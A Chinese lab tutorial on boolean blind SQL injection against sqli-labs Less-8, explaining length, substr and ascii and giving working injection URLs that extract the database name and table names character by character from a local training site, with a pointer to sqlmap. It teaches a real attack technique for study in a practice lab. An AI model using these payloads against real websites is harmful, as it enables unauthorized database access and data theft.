前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >注入学习之sqli-labs-5(第四次)

注入学习之sqli-labs-5(第四次)

作者头像
用户1467662
发布2018-03-29 18:37:12
7820
发布2018-03-29 18:37:12
举报
文章被收录于专栏:农夫安全农夫安全

前言

第七关先跳过,先把get注入系列讲完再来讲

不知道大家有没有玩过一个猜数字的游戏

我给出一个数的范围,比如1-100,然后你去猜,我只会回答你对或者错。

然后你会怎么猜呢?(假设要猜的这个数是 75)

很简单

先猜大于50,我会回答对,么这个数的范围就是50-100

再猜小于80,我会回答对,那么这个数的范围就是50-80

再猜小于70,我会回答错,那么这个数的范围就是70-80

就是这样一步步缩小范围,最后得出正确的值。

0x01 原理分析

同样的原理,我们用在这节的课程上

这节讲的是sql盲注

与前面几个关卡不同的是,不管你在url后面加入什么,页面返回的要么是正确,要么是错误。具体看图

所以我们没办法通过服务器报错来获取相关的信息

通过这个语句,我们判断出sql的插叙语句

Select * from tables where id=‘参数’,就是单引号模式的

0x02 函数介绍

所以我们唯一的方法就是猜,当然,这个猜不是随便猜的,这个是有依据的,我们要用到几个函数

1 length

返回字符串长度

2 substr

从制定位置截取制定长度的字符串

3 ascii

返回对应的ascii值

用法:

我们通过length 获取当前数据库名的长度

Select length(database())

然后从第一个字符开始截取这个数据库名的一个字符

Select substr(database(),1,1)

然后转换称ascii。

Select ascii(substr(database(),1,1))

但是有一个问题,我们不知道数据库名的第一个字符是什么啊。

没错,所以我们用猜啊

我们去猜ascii的值,反过来我们就能知道数据库名的第一个字符是什么了

怎么猜呢?

还记得上面那个游戏吗?就是用这种方法

其中ascii从数字到大小写字母是从 48-126

我们只要在这期间进行猜解就可以,如图

其中0表示错误,1表示正常。上图是综合三个函数大概演示,看得懂就行

上面通过单引号的测试,我们已经知道sql语句

0x03 利用方式

接下来我们就可以构造攻击语句了

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr(database(),1,1))=116) --+

这句报错,说明ascii不是116,因为这里是演示,我们就不去大小的去猜了,直接用一个错的和一个对的来演示

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr(database(),1,1))=115) --+

这个是正确的,也就是说数据库名的第一个字母是s

接下来,我们只要去改变语句中标红色的位置,然后去猜测ascii的大小就可以了

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr(database(),1,1))=115)

我们还可以构造复杂一点的语句去猜测表名

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<116) --+

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<90) --+

综合上面两句,说明该数据库的第一个表的第一个字符的ascii在80—116之间

接下来接续猜解,就能得出该字符的具体名称

然后通过修改红色部分,和ascii码分别去猜测第2个,3 ,4 。。。的字符,最终得出第一个表的表名

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))<90) --+

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))<90) --+

因为一个数据库中正常是有好几个表的,猜完第一个表,我们用同样的方法来猜第二个表

修改语句中的limit 0,1就可以

Limit 1,1 第二行第一个

Limit 2,1 第三行第一个

从之前的学习中就可以看出,表的排列就是一行一个

表猜完了,再猜字段,只不过是更改一下语句中的红色部分

http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<90) --+

红色部分的查询语句,之前的关卡中都有讲过,这里不再说明

但是有的人就会问了,猜这个数据库名,表名,字段名,工作量也太大了吧。

没错,这个时候只要我们能判断说这个url存在注入,我们就可以用sql注入神器sqlmap去执行,省时省力。关于sqlmap的使用,可以直接百度查询,或者后期我们也会进行相关的讲解!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-06-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 0x01 原理分析
  • 0x02 函数介绍
  • 0x03 利用方式
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档